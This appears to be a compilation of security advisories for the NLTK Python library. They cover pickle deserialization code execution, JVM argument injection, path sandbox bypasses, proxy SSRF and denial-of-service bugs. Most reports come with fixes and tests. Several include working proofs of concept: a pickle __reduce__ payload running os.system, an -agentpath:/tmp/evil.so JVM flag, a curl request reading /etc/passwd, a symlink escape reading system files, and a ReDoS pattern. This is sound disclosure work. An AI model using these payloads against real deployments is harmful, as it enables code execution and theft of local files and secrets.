Last updated 6 May 2026

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickleload() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickleload(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override findclass(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

python def pickleload(file, , context=None, restricted=False): if restricted: return RestrictedUnpickler(file).load() # Safe: blocks all globals return WarningUnpickler(file, context=context).load() # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparserapp.py:816, parse/chartparserapp.py:2273, parse/chartparserapp.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/maliciousmodel.pkl") 3. pickleload() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment - NLTK version: 3.8.1+ (all versions with transitionparser.py) - Python 3.6+ - No special dependencies required

Reproduction

1. Create a malicious pickle file that uses reduce to execute a system command during deserialization.

2. Call TransitionParser().parse([], '/path/to/maliciousmodel.pkl').

3. The pickleload(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override findclass() and permits full class resolution — executing the embedded gadget.

4. Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from: python model = pickleload(f) to: python model = pickleload(f, restricted=True) causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

python import pickle import os from nltk.parse.transitionparser import TransitionParser

Create malicious pickle with RCE payload class Exploit: def reduce(self): return (os.system, ('touch /tmp/nltkpoctriggered',))

with open('/tmp/maliciousmodel.pkl', 'wb') as f: pickle.dump(Exploit(), f)

Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4) parser = TransitionParser('arc-standard') # or 'arc-eager' parser.parse([], '/tmp/maliciousmodel.pkl') # loads and unpickles unsafely

Exploit succeeds: file /tmp/nltkpoctriggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

| File | Line | Before | After | |------|------|--------|-------| | nltk/parse/transitionparser.py | 557 | pickleload(f) | pickleload(f, restricted=True) | | nltk/parse/chartparserapp.py | 816 | pickleload(modeldatafile) | pickleload(modeldatafile, restricted=True) | | nltk/parse/chartparserapp.py | 2273 | pickleload(file) | pickleload(file, restricted=True) | | nltk/parse/chartparserapp.py | 2311 | pickleload(fp) | pickleload(fp, restricted=True) |

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.findclass().

NLTK before 3.9.3 fails to verify file integrity after downloading packages and before extraction in the downloader module. Attackers can perform man-in-the-middle attacks or DNS poisoning to inject malicious package contents that are extracted without validation.

Summary

The current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.

Details

- Vulnerability type: Remote code execution via unsafe deserialization - Affected component: nltk.picklesec.allowlistedpickleload, nltk.tokenize.punkt.punktpickleload, nltk.parse.transitionparser.TransitionParser.parse - Affected versions: Current source v3.10.0-rc2; published 3.9.4 was not the claim target for this bypass. - Patched versions: Not yet patched - Root cause: Module-prefix allowlists include dangerous callables such as nltk.tokenize.repp.ReppTokenizer.execute and numpy.f2py.crackfortran.myeval.

punktpickleload() allowlists both nltk.tokenize.punkt and the whole nltk.tokenize namespace, which exposes ReppTokenizer.execute() and its subprocess.Popen(...) sink during unpickling. TransitionParser.parse() uses allowlistedpickleload(..., allowedmodules=("numpy", "scipy", "sklearn")), which permits numpy.f2py.crackfortran.myeval() and its attacker-controlled eval(...) path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.

PoC

Preconditions - The application loads an attacker-controlled tokenizer or model artifact through these public loaders.

Steps 1. Create a pickle whose REDUCE callable is ReppTokenizer.execute and point its command to a harmless marker-file write. 2. Pass that payload to punktpickleload(BytesIO(payload)) and observe the marker file is created during unpickling. 3. Create a second pickle whose REDUCE callable is numpy.f2py.crackfortran.myeval and load it through TransitionParser.parse(). 4. Observe the second marker file is created before TransitionParser.parse() later fails on the returned object type.

Minimal reproducible excerpt

text {'punktmarker': 'PUNKTRCE', 'transitionparsermarker': 'TPRCE'}

Impact

Any caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.

Remediation

Replace broad module-prefix allowlists with exact (module, qualname) pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as nltk.tokenize or numpy, and keep post-load type validation only as a secondary defense.

Resources

- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571

---

Fix + attack demonstration (verified)

+ tightened callers findclass now, before the allowlists: 1. Rejects any dotted name → closes 4489 with zero legit impact. 2. Denies dangerous modules (os, subprocess, sys, builtins, numpy.f2py, nltk.tokenize.repp, …) even under a broad allowedmodules — a defense-in-depth backstop so a future too-broad allowlist can't silently reopen RCE. 3. builtins denied wholesale; safe primitives (int, str, …) must be named exactly via allowedglobals.

Callers tightened: punkt drops the broad nltk.tokenize (keeps nltk.tokenize.punkt + exact collections.defaultdict/builtins.int); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.

Full pickle-sink audit Every deserialization sink in the tree was reviewed: no raw pickle.load anywhere, and no joblib/numpy/torch/dill/yaml/marshal loaders. data.load + wordnetapp use RestrictedUnpickler (blocks all globals — safe); the remaining pickleload sites (chartparserapp, tbl/demo) load user-selected or self-written files and keep their warning.

Attack demonstration (captured; fork clone) === EXPLOITS blocked === 4489 sklearn.os.system (dotted) -> BLOCKED x99w numpy.f2py.crackfortran.myeval -> BLOCKED x99w nltk.tokenize.repp.execute -> BLOCKED backstop os.system (os allowlisted) -> BLOCKED backstop builtins.eval (exact global)-> BLOCKED === LEGIT loads still work === punkt round-trip via punktpickleload -> OK builtins.int (safe primitive) -> OK

Tests testpickleallowlistsecurity.py — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.

Vulnerability

The fix for CVE-2026-12841 (CWE-88, JVM argument injection) added validatejavaoptions() to block dangerous JVM flags such as -agentlib, -agentpath, -javaagent, -Xrunjdwp, and @argfile references. However, the validation is only applied when setting global options via configjava(). The java() function's per-call options parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to subprocess.Popen without calling validatejavaoptions().

All four Stanford Java wrapper classes accept user-supplied javaoptions and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.

Root Cause

In nltk/internals.py, the java() function (line 128) accepts an options keyword argument. When options is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:

python nltk/internals.py, lines 211-217 (HEAD) if options is None: javaoptions = javaoptions # validated by configjava() else: if isinstance(options, str): options = options.split() javaoptions = list(options) # NO validation cmd = [javabin] + javaoptions + cmd

Compare with configjava() (line 92) which does validate:

python nltk/internals.py, lines 122-123 validatejavaoptions(options) javaoptions[:] = options

The four affected wrapper classes store user-supplied javaoptions without validation and pass them through the unvalidated per-call path:

1. GenericStanfordParser (nltk/parse/stanford.py): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256 2. StanfordTagger (nltk/tag/stanford.py): constructor parameter at line 51, stored at line 79, passed at line 118 3. StanfordTokenizer (nltk/tokenize/stanford.py): constructor parameter at line 43, stored at line 66, passed at line 109 4. StanfordSegmenter (nltk/tokenize/stanfordsegmenter.py): constructor parameter at line 68, stored at line 117, passed at line 337

Proof of Concept

python from nltk.internals import configjava, java, validatejavaoptions

1. The global configjava() path correctly blocks dangerous flags: try: configjava(options=["-agentpath:/tmp/evil.so"]) except ValueError as e: print(f"configjava blocked: {e}") # blocked as expected

2. The per-call options path does NOT block them: (Would execute if Java were installed) java(["SomeClass"], classpath=".", options=["-agentpath:/tmp/evil.so"]) This passes "-agentpath:/tmp/evil.so" directly to subprocess.Popen

3. Stanford wrapper classes pass through without validation: from nltk.parse.stanford import StanfordParser parser = StanfordParser(javaoptions="-agentpath:/tmp/evil.so") parser.parse(...) # dangerous flag reaches JVM

Verify the gap directly: dangerousopts = ["-agentpath:/tmp/evil.so"] try: validatejavaoptions(dangerousopts) print("Would have been caught") except ValueError: print("Correctly rejected by validatejavaoptions()")

But java() itself never calls validatejavaoptions(): import inspect source = inspect.getsource(java) assert "validatejavaoptions" not in source, "java() does not validate options" print("Confirmed: java() does not call validatejavaoptions()")

Impact

An attacker who controls the javaoptions parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:

- -agentpath:/path/to/malicious.so -- loads a native agent, achieving arbitrary code execution - -javaagent:/path/to/malicious.jar -- loads a Java agent for bytecode manipulation - -agentlib:jdwp=transport=dtsocket,server=y,address=:5005 -- enables remote debugging, allowing remote code execution - @/path/to/argfile -- expands an argument file, which can smuggle any of the above

This is exploitable in scenarios where NLTK is deployed as a service and javaoptions is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover "StanfordSegmenter, and GenericStanfordParser" but the implementation only validates in configjava().

Suggested Fix

Add validatejavaoptions() to the java() function's per-call options handling:

python nltk/internals.py, in the java() function if options is None: javaoptions = javaoptions else: if isinstance(options, str): options = options.split() javaoptions = list(options) validatejavaoptions(javaoptions) # ADD THIS LINE cmd = [javabin] + javaoptions + cmd

This single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of java(options=...).

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

- Product: NLTK - Asset / component: nltk.corpus.reader constructors - Version tested: 3.10.2 - Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk - Environment used for verification: Python 3.13.14

Vulnerability Details

- Vulnerability class: path sandbox bypass / external control of file path - Required privileges: none beyond the ability to supply a corpus root path to a consumer call site - Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root) - Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec - Root affected functions: - CorpusReader.init - LinThesaurusCorpusReader.init - PanLexLiteCorpusReader.init - Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.init() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

python if zipfile: root = ZipFilePathPointer(zipfile, zipentry) else: root = FileSystemPathPointer(root)

with open(path) as linfile: ...

self.c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01rawpathpoc.py in the checkout root and run python hy01rawpathpoc.py.

python #!/usr/bin/env python3 """PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts: - pathsec blocks a direct read through the sandboxed file API - LinThesaurusCorpusReader still reaches builtin open() on an outside path - PanLexLiteCorpusReader still opens an outside sqlite database and loads data """

from future import annotations

import builtins import pathlib import sqlite3 import sys import tempfile from unittest.mock import patch

try: import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlexlite import PanLexLiteCorpusReader except ModuleNotFoundError: here = pathlib.Path(file).resolve() for base in (here.parent, here.parents): if (base / "nltk").isdir() and (base / "setup.py").exists(): sys.path.insert(0, str(base)) break else: raise RuntimeError( "Could not import nltk. Run this script from an NLTK checkout root " "or from an environment where the current checkout is installed." )

import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlexlite import PanLexLiteCorpusReader

def main() -> int: pathsec.ENFORCE = True

with patch.object(pathsec, "getallowedroots", lambda: set()): with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"): with tempfile.TemporaryDirectory() as tmp: tmpdir = pathlib.Path(tmp) outside = tmpdir / "outside" outside.mkdir()

blockedfile = outside / "blocked.txt" blockedfile.writetext("blocked", encoding="utf-8")

controltarget = str(blockedfile) try: with pathsec.open(controltarget, "rb"): raise AssertionError( "pathsec.open unexpectedly allowed control path" ) except PermissionError: print("control:pathsec.open=blocked")

linroot = tmpdir / "lin" linroot.mkdir() linfile = linroot / "simN.lsp" linfile.writetext( '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n', encoding="utf-8", )

opened = [] realopen = builtins.open

def trackingopen(args, kwargs): opened.append(str(args[0])) return realopen(args, kwargs)

with patch("builtins.open", trackingopen): LinThesaurusCorpusReader(str(linroot))

if any(p.endswith("simN.lsp") for p in opened): print("lin:outsiderootopen=success") else: raise AssertionError("LinThesaurusCorpusReader did not open data")

panlexroot = tmpdir / "panlex" panlexroot.mkdir() dbpath = panlexroot / "db.sqlite" db = sqlite3.connect(dbpath) cur = db.cursor() cur.execute("create table lv(uid text, lv text, lc text, tt text)") cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)") cur.execute("create table ex(ex int, tt text, lv text, uq int)") cur.execute( "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')" ) db.commit() db.close()

reader = PanLexLiteCorpusReader(str(panlexroot)) result = reader.languagevarieties() if result == [("u1", "English")]: print("panlex:languagevarieties=success") else: raise AssertionError("PanLexLiteCorpusReader did not load data")

return 0

if name == "main": raise SystemExit(main())

Expected output:

control:pathsec.open=blocked lin:outsiderootopen=success panlex:languagevarieties=success Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

- Base Score: 7.5 (High) - Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

NLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.

NLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decodeobj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.

Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", kwargs): validatepath(file, context="pathsec.open") return builtins.open(file, mode=mode, kwargs)

StreamBackedCorpusView.open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

python line 171 — no validatepath() call self.eofpos = os.stat(self.fileid).stsize

line 208 — calls builtins.open directly self.stream = open(self.fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC python pocserver.py — StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, readlineblock

Strict mode enabled — expected to sandbox all file access ps.ENFORCE = True

app = Flask(name)

@app.post("/read") def readfile(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored — builtins.open() called internally view = StreamBackedCorpusView(fname, readlineblock, encoding="utf8") return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000) Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.

Impact - Type: Arbitrary Local File Read / Security Control Bypass - CWE: CWE-22, CWE-284 - OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWSSECRETACCESSKEY, DATABASEURL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validatepath().

NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via framebyname(), lufile(), or doc() methods.

Summary

Current NLTK source reopens SSRF in proxied environments. pathsec.urlopen() validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.

Details

- Vulnerability type: Server-side request forgery - Affected component: nltk.pathsec.urlopen, nltk.data.load, nltk.downloader.Downloader.index, nltk.downloader.Downloader.download - Affected versions: Current source v3.10.0-rc2; published 3.9.4 was a negative control and did not reproduce. - Patched versions: Not yet patched - Root cause: Proxy-handler inheritance disables SafeHTTPHandler and SafeHTTPSHandler, so the validated hostname no longer matches the actual egress destination.

The hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies ProxyHandler instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via pathsec.urlopen(), nltk.data.load(), Downloader.index(), and Downloader.download().

PoC

Preconditions - The runtime has an HTTP proxy configured and the caller relies on pathsec to keep network fetches SSRF-safe.

Steps 1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload. 2. Configure a proxy that forwards a validated public URL to that internal loopback service. 3. Call pathsec.urlopen() or nltk.data.load() on the public URL and observe the internal response is returned. 4. Instantiate Downloader(serverindexurl=...), call index() and download(), and observe internal-only content is parsed and installed.

Minimal reproducible excerpt

text {'urlopen': 'PROXYTEXTSECRET', 'dataload': 'PROXYTEXTSECRET', 'downloadedfile': 'INTERNALZIPSECRET'}

Impact

Consumers that trust pathsec as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.

Remediation

Preserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across pathsec.urlopen, nltk.data.load, and downloader fetches with a configured proxy.

References

- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226 - https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250

---

Fix + attack demonstration (verified)

NLTK cannot pin the egress through a proxy, so it stops pretending to: under ENFORCE a proxied fetch is refused rather than performed unvalidated. Operators who trust their proxy opt back in with NLTKALLOWPROXIEDURLOPEN=1 or nltk.pathsec.ALLOWPROXIEDFETCH=True; under ENFORCE=False the refusal degrades to a warning. This closes the whole class (environment proxies and explicit ProxyHandler alike), because NLTK declines any fetch whose egress it cannot validate.

Attack demonstration (reproduced; captured output) A loopback HTTP server stands in for the internal target; httpproxy points at it; NLTK is asked for a public IP URL.

Before the fix — the internal secret is exfiltrated through the proxy: validatenetworkurl(public): PASSED BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNALONLYSECRET'

After the fix — five scenarios, isolated subprocesses: | Scenario | Result | |---|---| | proxied (env) + ENFORCE | PermissionError — blocked | | proxied + opt-in | returns secret — escape hatch works | | explicit ProxyHandler (not env) + ENFORCE | PermissionError — blocked (whole class) | | no proxy (direct) | internal IP still refused — pinning intact | | proxied + ENFORCE=False | returns secret + warns |

Tests nltk/test/unit/testpathsec.py: 64 passed. Added an end-to-end regression (testproxiedfetchdoesnotreachinternaltarget) plus testenvproxyfailsclosedunderenforce; the prior testenvproxyskipspinninghandlers (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.

Note The upfront validatenetworkurl() and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Summary NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.

Affected Code nltk/text.py — TokenSearcher.findall() (line 255) / Text.findall() (line 620)

TokenSearcher.init builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:

python def findall(self, regexp): # Preprocessing does NOT prevent catastrophic backtracking regexp = re.sub(r"\s", "", regexp) regexp = re.sub(r"<", "(?:<(?:", regexp) regexp = re.sub(r">", ")>)", regexp) regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)

# User-controlled regexp executed with no timeout hits = re.findall(regexp, self.raw) The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.

Proof of Concept python import nltk import time

Token of 25 'a' characters produces self.raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>" The trailing '!' ensures no match, forcing full backtracking. text = nltk.Text(["a" 25 + "!"])

Pattern after transformation: < → (?:<(?: → )>) Becomes: (?:<(?:((a+)+)b)>) re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.

start = time.time() text.findall(r"<((a+)+)b>") # Never returns

Impact Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.

Remediation This vulnerability was patched in commit d8e4753. Users should update to the patched version.

Credit Tool: Kira by Offgrid Security

nltk.stem.PorterStemmer.stem() -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).

Root cause

isconsonant(word, i) was made iterative (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion RecursionError on 'y'10000. The iterative form walks backward over the whole run of 'y's on every call:

python while i > 0 and word[i] == 'y': negate = not negate i -= 1

measure() then calls isconsonant(stem, i) once for every position i of the stem. For a run of n 'y's that is sum{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.

Proof of concept

Measured (Python 3.13): stem('y'5000 + 'ness') = 2.6s, stem('y'10000 + 'ness') = 11.3s (2x input -> ~4.3x time = quadratic), stem('y'20000 + 'ness') > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call measure do not fire; a real suffix such as 'ness' triggers measure on the long stem.

python from nltk.stem import PorterStemmer PorterStemmer().stem('y' 20000 + 'ness') # >20s of CPU

Impact

Stemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.

Fix direction

Classify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every isconsonant call, so measure and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).

Summary nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.

Details The vulnerable flow is:

- nltk/corpus/reader/api.py:222 - CorpusReader.open() blocks absolute paths and .., then calls self.root.join(file).open()

- nltk/data.py:398 - FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured root

The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.

Current behavior:

1. CorpusReader.open() rejects: - absolute paths - .. path traversal 2. FileSystemPathPointer.join() computes: - joined = os.path.normpath(os.path.join(self.path, fileid)) - root = os.path.normpath(self.path) 3. It allows the access if joined starts with root

This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.

Example:

text JOINED=/tmp/nltk-root/link/secret.txt REALPATH=/tmp/outside/secret.txt

JOINED still appears to be inside the root, but REALPATH is outside it.

This is distinct from simple ../ traversal:

- the file ID is not absolute - the file ID does not contain .. - the escape only happens after filesystem resolution of a symlink under the allowed root

PoC Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

python import os import tempfile from nltk.corpus.reader.api import CorpusReader

root = tempfile.mkdtemp(prefix="nltk-root-") outsidedir = tempfile.mkdtemp(prefix="nltk-out-") outsidefile = os.path.join(outsidedir, "secret.txt")

with open(outsidefile, "w") as f: f.write("secret-data")

os.symlink(outsidedir, os.path.join(root, "link"))

corpus = CorpusReader(root, ["link/secret.txt"]) with corpus.open("link/secret.txt") as f: print(f.read())

Observed result:

text secret-data

Docker re-test output:

text ROOT=/tmp/nltk-root-jjxay3if OUTSIDEDIR=/tmp/nltk-out-1kef36e0 JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt REALPATH=/tmp/nltk-out-1kef36e0/secret.txt READOK=secret-data INSIDEROOT=True REALINSIDEROOT=False

Additional impact validation using a system file:

text ROOT=/tmp/nltk-root-h5x4m19 JOINED=/tmp/nltk-root-h5x4m19/hostfile REALPATH=/etc/hostname HOSTNAMEREAD=48dafb244af3 INSIDEROOT=True REALINSIDEROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact This is an arbitrary local file read / symlink escape issue.

Who is impacted:

- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents - applications that rely on NLTK corpus readers as a trust boundary for file access - any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

- application secrets stored on disk - local configuration files - private datasets - process-exposed files such as /proc/self/environ - system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.

NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.

Summary

Several model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.

Details

- Vulnerability type: File sandbox bypass - Affected component: TransitionParser.train, TransitionParser.parse, AveragedPerceptron.save, AveragedPerceptron.load, PerceptronTagger.savetojson, savemaxentparams - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Model import and export helpers use built-in open() on caller-controlled paths instead of pathsec-aware helpers.

TransitionParser.train() writes outside allowed roots, TransitionParser.parse() reads outside allowed roots, AveragedPerceptron bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while pathsec.open() or the guarded sibling helpers rejected the same paths.

PoC

Preconditions - The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.

